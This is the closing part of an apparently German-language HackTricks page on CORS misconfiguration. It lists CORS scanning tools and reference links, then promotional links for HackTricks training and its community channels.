
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
* [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)

## Referenzen

* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)

<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Unterstützen Sie HackTricks</summary>

* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.

</details>
{% endhint %}